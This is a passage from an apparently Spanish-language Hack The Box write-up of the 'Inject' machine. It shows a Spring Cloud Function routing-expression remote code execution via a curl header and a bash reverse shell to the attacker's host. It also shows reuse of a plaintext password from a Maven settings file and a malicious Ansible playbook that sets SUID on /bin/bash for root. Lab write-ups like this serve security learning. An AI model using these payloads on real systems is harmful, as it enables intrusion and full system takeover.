<pre><code class="lang-bash">$ curl -X POST http://10.10.11.204:8080/functionRouter -H <span class="hljs-string">'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/dh-pwnd")'</span> --data-raw <span class="hljs-string">'data'</span> -v
</code></pre>
<pre><code>Note: Unnecessary use <span class="hljs-keyword">of</span> -X or --request, POST is already inferred.
*   Trying <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span>:<span class="hljs-number">8080.</span>..
* Connected to <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span> (<span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span>) port <span class="hljs-number">8080</span> (#<span class="hljs-number">0</span>)
&gt; POST /functionRouter HTTP/<span class="hljs-number">1.1</span>
&gt; Host: <span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span>:<span class="hljs-number">8080</span>
&gt; User-Agent: curl/<span class="hljs-number">7.88</span><span class="hljs-number">.1</span>
&gt; Accept: *<span class="hljs-comment">/*
&gt; spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/dh-pwnd")
&gt; Content-Length: 4
&gt; Content-Type: application/x-www-form-urlencoded
&gt; 
&lt; HTTP/1.1 500 
&lt; Content-Type: application/json
&lt; Transfer-Encoding: chunked
&lt; Date: Tue, 18 Jul 2023 20:25:56 GMT
&lt; Connection: close
&lt; 
* Closing connection 0
{"timestamp":"2023-07-18T20:25:56.636+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}</span>
</code></pre><p>Vamos a listar si nos creo el archivo <strong>dh-pwnd</strong> en "/tpm"</p>
<p><img src="https://res.cloudinary.com/dxyznc4oh/image/upload/v1689712063/htb/Inject/dh-pwnd_w9aobj.png" alt="dh-pwnd.png" /></p>
<p>Y como podemos observar, nos logramos crear un archivo en "/tmp" por tanto tenemos ejecución de <strong>comandos</strong> de forma remota. Vamos a intentar ganar acceso a la maquina</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../exploit
$ cat reverse.sh
<span class="hljs-comment">#!/bin/bash</span>
bash -i &gt;&amp; /dev/tcp/10.10.14.215/443 0&gt;&amp;1
</code></pre>
<p>Vamos a poner montar un <strong>servidor</strong> con <strong>python</strong>, para hacerle un <strong>curl</strong> del lado de la maquina victima y depositar lo en la maquina victima para luego ejecutarlo y ganar acceso a la <strong>maquina</strong>.
En una consola hacemos lo siguiente:</p>
<pre><code class="lang-bash">$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<p>Y en otra nos ponemos en escucha con <strong>nc</strong></p>
<pre><code class="lang-bash">$ nc -nlvp 443
listening on [any] 443 ...
</code></pre>
<p>Ahora depositamos el <strong>reverse.sh</strong> en la maquina victima </p>
<pre><code class="lang-bash">$ curl -X POST http://10.10.11.204:8080/functionRouter -H <span class="hljs-string">'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.215/reverse.sh -o /tmp/reverse.sh")'</span> --data-raw <span class="hljs-string">'data'</span> -v
</code></pre>
<pre><code>Serving HTTP on <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span> port <span class="hljs-number">80</span> (http:<span class="hljs-comment">//0.0.0.0:80/) ...</span>
<span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span> - - [<span class="hljs-number">18</span>/Jul/<span class="hljs-number">2023</span> <span class="hljs-number">12</span>:<span class="hljs-number">47</span>:<span class="hljs-number">27</span>] <span class="hljs-string">"GET /reverse.sh HTTP/1.1"</span> <span class="hljs-number">200</span> -
</code></pre><p>Y lo ejecutamos con <strong>bash</strong></p>
<pre><code class="lang-bash">$ curl -X POST http://10.10.11.204:8080/functionRouter -H <span class="hljs-string">'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")'</span> --data-raw <span class="hljs-string">'data'</span> -v
</code></pre>
<pre><code>listening on [any] <span class="hljs-number">443</span> ...
connect to [<span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.215</span>] <span class="hljs-keyword">from</span> (UNKNOWN) [<span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.204</span>] <span class="hljs-number">37208</span>
<span class="hljs-attr">bash</span>: cannot set terminal process group (<span class="hljs-number">817</span>): Inappropriate ioctl <span class="hljs-keyword">for</span> device
<span class="hljs-attr">bash</span>: no job control <span class="hljs-keyword">in</span> <span class="hljs-built_in">this</span> shell
frank@inject:/$
</code></pre><p>Y ganamos <strong>acceso</strong> a la maquina victima(No realizo tratamiento de la tty ya que me dio mas problemas, ustedes lo pueden intentar. Si voy a definir algunas variables de entorno)</p>
<pre><code class="lang-bash">frank@inject:/$ <span class="hljs-built_in">export</span> SHELL=bash
frank@inject:/$ <span class="hljs-built_in">export</span> TERM=xterm
</code></pre>
<h1 id="heading-user-pivoting">User Pivoting</h1>
<p>Enumerando el <strong>directorio</strong> de frank nos encontramos algo raro</p>
<pre><code class="lang-bash">frank@inject:/$ <span class="hljs-built_in">cd</span>
frank@inject:~$ ls -la
</code></pre>
<pre><code>total <span class="hljs-number">28</span>
drwxr-xr-x <span class="hljs-number">5</span> frank frank <span class="hljs-number">4096</span> Feb  <span class="hljs-number">1</span> <span class="hljs-number">18</span>:<span class="hljs-number">38</span> .
drwxr-xr-x <span class="hljs-number">4</span> root  root  <span class="hljs-number">4096</span> Feb  <span class="hljs-number">1</span> <span class="hljs-number">18</span>:<span class="hljs-number">38</span> ..
lrwxrwxrwx <span class="hljs-number">1</span> root  root     <span class="hljs-number">9</span> Jan <span class="hljs-number">24</span> <span class="hljs-number">13</span>:<span class="hljs-number">57</span> .bash_history -&gt; <span class="hljs-regexp">/dev/</span><span class="hljs-literal">null</span>
-rw-r--r-- <span class="hljs-number">1</span> frank frank <span class="hljs-number">3786</span> Apr <span class="hljs-number">18</span>  <span class="hljs-number">2022</span> .bashrc
drwx------ <span class="hljs-number">2</span> frank frank <span class="hljs-number">4096</span> Feb  <span class="hljs-number">1</span> <span class="hljs-number">18</span>:<span class="hljs-number">38</span> .cache
drwxr-xr-x <span class="hljs-number">3</span> frank frank <span class="hljs-number">4096</span> Feb  <span class="hljs-number">1</span> <span class="hljs-number">18</span>:<span class="hljs-number">38</span> .local
drwx------ <span class="hljs-number">2</span> frank frank <span class="hljs-number">4096</span> Feb  <span class="hljs-number">1</span> <span class="hljs-number">18</span>:<span class="hljs-number">38</span> .m2
-rw-r--r-- <span class="hljs-number">1</span> frank frank  <span class="hljs-number">807</span> Feb <span class="hljs-number">25</span>  <span class="hljs-number">2020</span> .profile
</code></pre><p>Vemos un directorio .m2 vamos a revisar su contenido</p>
<pre><code class="lang-bash">frank@inject:~$ <span class="hljs-built_in">cd</span> .m2
frank@inject:~/.m2$ ls
settings.xml
frank@inject:~/.m2$ cat settings.xml
</code></pre>
<pre><code>cat settings.xml
&lt;?xml version=<span class="hljs-string">"1.0"</span> encoding=<span class="hljs-string">"UTF-8"</span>?&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">settings</span> <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"http://maven.apache.org/POM/4.0.0"</span> <span class="hljs-attr">xmlns:xsi</span>=<span class="hljs-string">"http://www.w3.org/2001/XMLSchema-instance"</span>
        <span class="hljs-attr">xsi:schemaLocation</span>=<span class="hljs-string">"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">servers</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">server</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">id</span>&gt;</span>Inject<span class="hljs-tag">&lt;/<span class="hljs-name">id</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">username</span>&gt;</span>phil<span class="hljs-tag">&lt;/<span class="hljs-name">username</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">password</span>&gt;</span>DocPhillovestoInject123<span class="hljs-tag">&lt;/<span class="hljs-name">password</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">privateKey</span>&gt;</span>${user.home}/.ssh/id_dsa<span class="hljs-tag">&lt;/<span class="hljs-name">privateKey</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">filePermissions</span>&gt;</span>660<span class="hljs-tag">&lt;/<span class="hljs-name">filePermissions</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">directoryPermissions</span>&gt;</span>660<span class="hljs-tag">&lt;/<span class="hljs-name">directoryPermissions</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">configuration</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">configuration</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">server</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">servers</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">settings</span>&gt;</span></span>
</code></pre><p>vemos la <strong>contrasena</strong> de <strong>phil</strong> vamos a probar si es correcta </p>
<pre><code class="lang-bash">frank@inject:~/.m2$ su phil
Password: DocPhillovestoInject123
whoami
phil
</code></pre>
<p>Y ahora somos logramos convertirnos en el usuario <strong>phil</strong>(vuelvo a definir algunas variables de entorno)</p>
<pre><code class="lang-bash">$ script /dev/null -c bash
phil@inject:/home/frank/.m2$ <span class="hljs-built_in">export</span> TERM=xterm
phil@inject:/home/frank/.m2$ <span class="hljs-built_in">export</span> SHELL=bash
</code></pre>
<h1 id="heading-escalada-de-privilegios">Escalada de privilegios</h1>
<p>Vamos a transferirnos el <strong>pspy</strong> para mirar por tareas que se estén ejecutando a intervalos regulares de tiempo(link al proyecto de github de pspy -&gt; <a target="_blank" href="https://github.com/DominicBreuker/pspy">pspy</a>)
Descargar el <strong>pspy64</strong> de los <strong>releases</strong> y luego nos creamos un servidor local con <strong>python</strong></p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> ../content
$ mv /home/dh89/Download/pspy64 .
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<p>Nos lo descargamos en la maquina <strong>victima</strong></p>
<pre><code class="lang-bash">phil@inject:/home/frank/.m2$ <span class="hljs-built_in">cd</span> /tmp
phil@inject:/tmp$ wget http://10.10.14.215/pspy64
</code></pre>
<pre><code>-<span class="hljs-number">-2023</span><span class="hljs-number">-07</span><span class="hljs-number">-18</span> <span class="hljs-number">21</span>:<span class="hljs-number">19</span>:<span class="hljs-number">37</span>--  http:<span class="hljs-comment">//10.10.14.215/pspy64</span>
Connecting to <span class="hljs-number">10.10</span><span class="hljs-number">.14</span><span class="hljs-number">.215</span>:<span class="hljs-number">80.</span>.. connected.
HTTP request sent, awaiting response... <span class="hljs-number">200</span> OK
<span class="hljs-attr">Length</span>: <span class="hljs-number">3104768</span> (<span class="hljs-number">3.0</span>M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              <span class="hljs-number">100</span>%[===================&gt;]   <span class="hljs-number">2.96</span>M   <span class="hljs-number">452</span>KB/s    <span class="hljs-keyword">in</span> <span class="hljs-number">7.7</span>s    

<span class="hljs-number">2023</span><span class="hljs-number">-07</span><span class="hljs-number">-18</span> <span class="hljs-number">21</span>:<span class="hljs-number">19</span>:<span class="hljs-number">46</span> (<span class="hljs-number">396</span> KB/s) - ‘pspy64’ saved [<span class="hljs-number">3104768</span>/<span class="hljs-number">3104768</span>]
</code></pre><p>Le damos  permisos de ejecución y lo ejecutamos</p>
<pre><code class="lang-bash">phil@inject:/tmp$ chmod +x pspy64
phil@inject:/tmp$ ./pspy64
</code></pre>
<p>Luego de un rato vemos una linea como esta</p>
<pre><code><span class="hljs-number">2023</span>/<span class="hljs-number">07</span>/<span class="hljs-number">18</span> <span class="hljs-number">21</span>:<span class="hljs-number">22</span>:<span class="hljs-number">01</span> CMD: UID=<span class="hljs-number">0</span>     PID=<span class="hljs-number">58046</span>  | <span class="hljs-regexp">/bin/</span>sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks<span class="hljs-comment">/*.yml</span>
</code></pre><p>Donde están ejecutando con <strong>asible-parallel</strong> cualquier archivo <strong>.yml</strong> en la ruta "/opt/automation/tasks", por tanto vamos a crear un archivo .yml malicioso para por ejemplo, asignarle el permiso <strong>SUID</strong> a la <strong>bash</strong> con el siguiente contenido(Esto lo hacemos en nuestra maquina y luego lo pasamos a la maquina <strong>victima</strong>)(Si perdeis <strong>acceso</strong> a la maquina, simplemene realizar los pasos anteriores y ganar otra consola, ya que el <strong>reverse.sh</strong> esta en "/tmp")</p>
<pre><code>- hosts: localhost
  <span class="hljs-attr">tasks</span>:
    - name: pwned
      ansible.builtin.shell: |
        chmod +s /bin/bash
      <span class="hljs-attr">become</span>: <span class="hljs-literal">true</span>
</code></pre><p>Yo lo guardo en <strong>pwned.yml</strong> por tanto</p>
<pre><code class="lang-bash">$ pyton3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code></pre>
<pre><code class="lang-bash">phil@inject:/$ <span class="hljs-built_in">cd</span> /tmp 
phil@inject:/tmp$ wget http://10.10.14.215/pwned.yml                                
--2023-07-18 21:32:56--  http://10.10.14.215/pwned.yml
Connecting to 10.10.14.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 123 [application/octet-stream]
Saving to: ‘pwned.yml’

pwned.yml           100%[===================&gt;]     123  --.-KB/s    <span class="hljs-keyword">in</span> 0s      

2023-07-18 21:32:57 (9.67 MB/s) - ‘pwned.yml’ saved [123/123]
</code></pre>
<p>Y lo depositamos en el <strong>directorio</strong> "/opt/automation/tasks"</p>
<pre><code class="lang-bash">phil@inject:/tmp$ mv pwned.yml /opt/automation/tasks
</code></pre>
<p>Y ahora toca esperar un rato, hasta que la <strong>bash</strong> tenga permisos <strong>SUID</strong></p>
<pre><code class="lang-bash">phil@inject:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:/tmp$ bash -p
bash-5.0<span class="hljs-comment"># whoami</span>
root
</code></pre>
<p>Y maquina finalizada</p>
<hr />
<h1 id="heading-conclusion">Conclusión</h1>
<p>Maquina de <strong>htb</strong> bastante interesante, donde vemos un <strong>cve</strong> curioso y abusando de tareas <strong>cron</strong>. Espero que les sirva la guia y cualquier consulta tienen los comentarios o pueden contactarme por <strong>discord</strong></p>
]]></content:encoded></item></channel></rss>